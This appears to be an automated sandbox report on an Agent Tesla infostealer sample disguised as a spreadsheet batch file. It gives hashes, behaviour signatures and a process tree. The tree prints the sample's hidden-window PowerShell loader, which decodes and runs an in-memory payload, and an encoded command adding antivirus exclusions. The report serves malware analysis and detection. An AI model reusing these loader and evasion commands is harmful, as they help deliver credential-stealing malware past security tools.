Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2024 19:58

General

  • Target

    P.I.xlsm.bat

  • Size

    3.0MB

  • MD5

    345fd8e60b26a425db12a3b4f03db858

  • SHA1

    b3815d7d301866fbdd472168dc63d88e3bdb93a6

  • SHA256

    84011035b4c05eefeeb6cb35acffb479b26d1c18c8876f3eb881a222c0ee7d49

  • SHA512

    42bba166fb3b1e12c998522a7e622e8894c0efacacbca5e457be4d0fa0559ccfa614e7e547ad3f49f3688a1e93654416ffe3ea9b07d97fa94513d4b7f61e791e

  • SSDEEP

    49152:uVSpD/97Zd7hGxfTyS+HA02ZDMuDzaKoZ0FsCc:V

Malware Config

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\P.I.xlsm.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1460
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo F "
      2⤵
        PID:5036
      • C:\Windows\system32\xcopy.exe
        xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\P.I.xlsm.bat.Jda
        2⤵
          PID:3260
        • C:\Windows\system32\attrib.exe
          attrib +s +h C:\Users\Admin\AppData\Local\Temp\P.I.xlsm.bat.Jda
          2⤵
          • Sets file to hidden
          • Views/modifies file attributes
          PID:1312
        • C:\Users\Admin\AppData\Local\Temp\P.I.xlsm.bat.Jda
          C:\Users\Admin\AppData\Local\Temp\P.I.xlsm.bat.Jda -WindowStyle hidden -command "$Tkbbzsbbj = Get-Content 'C:\Users\Admin\AppData\Local\Temp\P.I.xlsm.bat' | select-object -Last 1; $Xnudsar = [System.Convert]::FromBase64String($Tkbbzsbbj);$Ybkhjhtkz = New-Object System.IO.MemoryStream( , $Xnudsar );$Rkkqpm = New-Object System.IO.MemoryStream;$Barkkgph = New-Object System.IO.Compression.GzipStream $Ybkhjhtkz, ([IO.Compression.CompressionMode]::Decompress);$Barkkgph.CopyTo( $Rkkqpm );$Barkkgph.Close();$Ybkhjhtkz.Close();[byte[]] $Xnudsar = $Rkkqpm.ToArray();[Array]::Reverse($Xnudsar); $Dflvww = [System.Threading.Thread]::GetDomain().Load($Xnudsar); $Taxyiyat = $Dflvww.EntryPoint.DeclaringType.GetMethods()[0].Invoke($null, $null) | Out-Null"
          2⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3360
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUAAuAEkALgB4AGwAcwBtAC4AYgBhAHQAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABQAC4ASQAuAHgAbABzAG0ALgBiAGEAdAA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAEkAawB4AGkAdAAuAGIAYQB0ADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAASQBrAHgAaQB0AC4AYgBhAHQA
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4564
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            3⤵
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:4640

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        Filesize

        53KB

        MD5

        d4d8cef58818612769a698c291ca3b37

        SHA1

        54e0a6e0c08723157829cea009ec4fe30bea5c50

        SHA256

        98fd693b92a71e24110ce7d018a117757ffdfe0e551a33c5fa5d8888a2d74fb0

        SHA512

        f165b1dde8f251e95d137a466d9bb77240396e289d1b2f8f1e9a28a6470545df07d00da6449250a1a0d73364c9cb6c00fd6229a385585a734da1ac65ac7e57f6

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        17KB

        MD5

        9fb89f749ada1cce786f19490154d9a1

        SHA1

        44012c7bce5aac2ad5273095da8a53eed96bbaac

        SHA256

        00a47af829a3703ffaa325389641448962c3df81fe9836764195b266d009de3c

        SHA512

        e308d4ae0a854bef34d45516fd283a550edd03d487895dd16767cd4c7e50e48c9c050cf1689c60668c39cc0f217f9d0b20e84fae0a113ec17a7552b5512684aa

      • C:\Users\Admin\AppData\Local\Temp\P.I.xlsm.bat.Jda
        Filesize

        423KB

        MD5

        c32ca4acfcc635ec1ea6ed8a34df5fac

        SHA1

        f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

        SHA256

        73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

        SHA512

        6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uuqkg0ae.yct.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/3360-45-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-53-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-7-0x0000000004E20000-0x0000000005448000-memory.dmp
        Filesize

        6.2MB

      • memory/3360-8-0x0000000075000000-0x00000000757B0000-memory.dmp
        Filesize

        7.7MB

      • memory/3360-9-0x0000000075000000-0x00000000757B0000-memory.dmp
        Filesize

        7.7MB

      • memory/3360-10-0x0000000004D80000-0x0000000004DA2000-memory.dmp
        Filesize

        136KB

      • memory/3360-11-0x0000000005580000-0x00000000055E6000-memory.dmp
        Filesize

        408KB

      • memory/3360-12-0x00000000056F0000-0x0000000005756000-memory.dmp
        Filesize

        408KB

      • memory/3360-22-0x0000000005760000-0x0000000005AB4000-memory.dmp
        Filesize

        3.3MB

      • memory/3360-23-0x0000000005D10000-0x0000000005D2E000-memory.dmp
        Filesize

        120KB

      • memory/3360-24-0x0000000005D50000-0x0000000005D9C000-memory.dmp
        Filesize

        304KB

      • memory/3360-41-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-26-0x0000000006240000-0x000000000625A000-memory.dmp
        Filesize

        104KB

      • memory/3360-27-0x00000000062C0000-0x00000000062E2000-memory.dmp
        Filesize

        136KB

      • memory/3360-28-0x0000000007610000-0x0000000007BB4000-memory.dmp
        Filesize

        5.6MB

      • memory/3360-29-0x0000000008240000-0x00000000088BA000-memory.dmp
        Filesize

        6.5MB

      • memory/3360-30-0x00000000070A0000-0x00000000072EE000-memory.dmp
        Filesize

        2.3MB

      • memory/3360-31-0x0000000007BC0000-0x0000000007DF0000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-32-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-39-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-49-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-67-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-69-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-77-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-75-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-73-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-71-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-65-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-63-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-61-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-59-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-57-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-55-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-35-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-51-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-47-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-5-0x000000007500E000-0x000000007500F000-memory.dmp
        Filesize

        4KB

      • memory/3360-43-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-25-0x0000000006FC0000-0x0000000007056000-memory.dmp
        Filesize

        600KB

      • memory/3360-37-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-6-0x00000000047B0000-0x00000000047E6000-memory.dmp
        Filesize

        216KB

      • memory/3360-33-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-95-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-93-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-91-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-87-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-85-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-83-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-81-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-90-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-79-0x0000000007BC0000-0x0000000007DEA000-memory.dmp
        Filesize

        2.2MB

      • memory/3360-4919-0x0000000075000000-0x00000000757B0000-memory.dmp
        Filesize

        7.7MB

      • memory/3360-4920-0x00000000074B0000-0x000000000751C000-memory.dmp
        Filesize

        432KB

      • memory/3360-4921-0x0000000007340000-0x000000000738C000-memory.dmp
        Filesize

        304KB

      • memory/3360-4922-0x000000007500E000-0x000000007500F000-memory.dmp
        Filesize

        4KB

      • memory/3360-4923-0x0000000075000000-0x00000000757B0000-memory.dmp
        Filesize

        7.7MB

      • memory/3360-4924-0x0000000075000000-0x00000000757B0000-memory.dmp
        Filesize

        7.7MB

      • memory/3360-4925-0x0000000075000000-0x00000000757B0000-memory.dmp
        Filesize

        7.7MB

      • memory/3360-4927-0x0000000075000000-0x00000000757B0000-memory.dmp
        Filesize

        7.7MB

      • memory/3360-4928-0x0000000007E30000-0x0000000007E84000-memory.dmp
        Filesize

        336KB

      • memory/3360-4967-0x0000000075000000-0x00000000757B0000-memory.dmp
        Filesize

        7.7MB

      • memory/4564-4966-0x00000000073E0000-0x00000000073E8000-memory.dmp
        Filesize

        32KB

      • memory/4564-4936-0x0000000075000000-0x00000000757B0000-memory.dmp
        Filesize

        7.7MB

      • memory/4564-4964-0x00000000073B0000-0x00000000073C4000-memory.dmp
        Filesize

        80KB

      • memory/4564-4963-0x00000000073A0000-0x00000000073AE000-memory.dmp
        Filesize

        56KB

      • memory/4564-4959-0x00000000063C0000-0x00000000063DE000-memory.dmp
        Filesize

        120KB

      • memory/4564-4949-0x0000000070E20000-0x0000000070E6C000-memory.dmp
        Filesize

        304KB

      • memory/4564-4960-0x00000000070A0000-0x0000000007143000-memory.dmp
        Filesize

        652KB

      • memory/4564-4934-0x0000000075000000-0x00000000757B0000-memory.dmp
        Filesize

        7.7MB

      • memory/4564-4962-0x0000000007370000-0x0000000007381000-memory.dmp
        Filesize

        68KB

      • memory/4564-4961-0x00000000071D0000-0x00000000071DA000-memory.dmp
        Filesize

        40KB

      • memory/4564-4948-0x0000000006DF0000-0x0000000006E22000-memory.dmp
        Filesize

        200KB

      • memory/4564-4965-0x00000000073F0000-0x000000000740A000-memory.dmp
        Filesize

        104KB

      • memory/4564-4933-0x0000000075000000-0x00000000757B0000-memory.dmp
        Filesize

        7.7MB

      • memory/4564-4971-0x0000000075000000-0x00000000757B0000-memory.dmp
        Filesize

        7.7MB

      • memory/4640-4935-0x0000000000400000-0x0000000000442000-memory.dmp
        Filesize

        264KB

      • memory/4640-4972-0x0000000006D60000-0x0000000006DB0000-memory.dmp
        Filesize

        320KB

      • memory/4640-4973-0x0000000006E50000-0x0000000006EE2000-memory.dmp
        Filesize

        584KB

      • memory/4640-4974-0x0000000007000000-0x000000000700A000-memory.dmp
        Filesize

        40KB